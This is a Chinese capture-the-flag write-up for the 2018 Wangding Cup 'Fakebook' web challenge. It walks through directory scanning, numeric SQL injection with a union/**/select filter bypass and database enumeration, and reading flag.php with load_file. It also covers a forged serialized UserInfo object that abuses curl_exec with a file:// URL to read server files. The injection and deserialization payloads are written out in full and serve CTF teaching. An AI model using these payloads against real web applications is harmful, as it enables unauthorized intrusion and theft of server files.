[网鼎杯 2018]Fakebook1

提示

  1. 数字型sql注入
  2. src
  3. robots.txt
  4. 当数据库是root权限使可以使用load_file函数

[网鼎杯 2018]Fakebook1_第1张图片

这里先用dirsearch扫一遍

一般做题都要扫,这道题扫描速度不能太快,不然会429报错

这里扫到了比较重要的两个,/var/www/html/flag.php这个肯定是不能直接访问的,但是还有robots.txt

访问robots.txt看看

这里有返回一个备份文件,下载来看看

这里主要的有这点

curl_exec这个函数用不好就会造成src漏洞

所以这里就有了一个构成src漏洞的思路,继续往下走看怎么利用

[网鼎杯 2018]Fakebook1_第2张图片

随便注册一个账户登录

这里本来想尝试能不能注册管理员账户,但这个网站好像并没有管理员这个说法

我自己的理解

  • 这里对登录界面进行sql注入是不明智的,并没有什么用,没有管理员一说,就算有大概和普通用户的登陆后界面也一样

[网鼎杯 2018]Fakebook1_第3张图片

点击admin到另一个界面

[网鼎杯 2018]Fakebook1_第4张图片

这里我对两个点有些许怀疑

  • url传参里的no=1,看起来很像sql注入,但是我还是先测试了一下以免无用功            [网鼎杯 2018]Fakebook1_第5张图片      传入n=1 and 1=1,正常[网鼎杯 2018]Fakebook1_第6张图片 传入n=1 and 1=2,报错[网鼎杯 2018]Fakebook1_第7张图片
  • 这里说他或者她的博客内容,我想着刚开始注册的时候不是有一个填入自己的博客吗,这里是否就是一个src                                                 
  •  查看源代码看看

    这里有明显的src

    应为我注册的时候用的时我的csdn的博客,他这里回显的就是博客base64加密后的东西

    [网鼎杯 2018]Fakebook1_第8张图片

所以到这里有两种方法去做

  1. sql注入,通过sql读取文件
  2. src

sql注入

首先通过order by看有几个字段

当尝试到5的时候报错

union select 1,2,3,4

这里说我是黑客

fuzz一下看过滤了啥

这里看起来像是过滤了空格,但其实之过滤了union空格select,完整的且大小写匹配

但是换成union/**/select就绕过了,这个防护还不如不做

[网鼎杯 2018]Fakebook1_第9张图片

接着我们的联合查询

payload:  1 union/**/select 1,2,3,4

这里的报错点在2

[网鼎杯 2018]Fakebook1_第10张图片

现在就是一系列信息搜集

数据库:fakebook

-1%20union/**/select%201,database(),3,4

[网鼎杯 2018]Fakebook1_第11张图片

用户信息:root@localhost

-1%20union/**/select%201,user(),3,4

[网鼎杯 2018]Fakebook1_第12张图片

操作系统:linux

-1%20union/**/select%201,@@version_compile_os,3,4

[网鼎杯 2018]Fakebook1_第13张图片

数据库版本:10.2.26-MariaDB-log

-1%20union/**/select%201,version(),3,4

[网鼎杯 2018]Fakebook1_第14张图片

这里没想到呀,居然是root权限的用户

当权限是root那么我们就可以使用函数load_file直接读取服务器的文件(load_file里的必须时绝对路径,不能是相对路径)

读取flag文件

-1%20union/**/select%201,load_file(%27/var/www/html/flag.php%27),3,4

查看源代码获得flag

[网鼎杯 2018]Fakebook1_第15张图片

src

到这里还是没有什么思路,先把数据库查完

查表:users

-1%20union/**/select%201,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

[网鼎杯 2018]Fakebook1_第16张图片

查字段:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

[网鼎杯 2018]Fakebook1_第17张图片

这里一个一个看看

到这里的时候发现序列化后的UserInfo对象

payload:-1%20union/**/select%201,group_concat(data),3,4%20from%20users

这里就能看到最后那一节不就是我们注册的时候的博客吗,并且这个页面也会返回base64后的页面代码

[网鼎杯 2018]Fakebook1_第18张图片

这里明显就是刚开始我们发现的备份文件里的代码反序列化的结果

[网鼎杯 2018]Fakebook1_第19张图片

我们把这个反序列化一下再改一下

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:36:"https://mp.csdn.net/mp_blog/creation";}

这里s后面的数字就是他后面有多少个字符,file是用于读取本地文件的,里面得用绝对路径

O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

-1%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

明显返回正常了,正确解析了我们上传的东西,blog这里访问了我们放的东西(这里放在union/**/select 1,2,3,4的4的位置是因为data字段本就在第四个)

[网鼎杯 2018]Fakebook1_第20张图片

[网鼎杯 2018]Fakebook1_第21张图片

查看源代码

这里拿去base64解码便得到了flag

[网鼎杯 2018]Fakebook1_第22张图片

[网鼎杯 2018]Fakebook1_第23张图片

你可能感兴趣的:(BUUCTF,web题,数据库,ctf,php,安全,sql)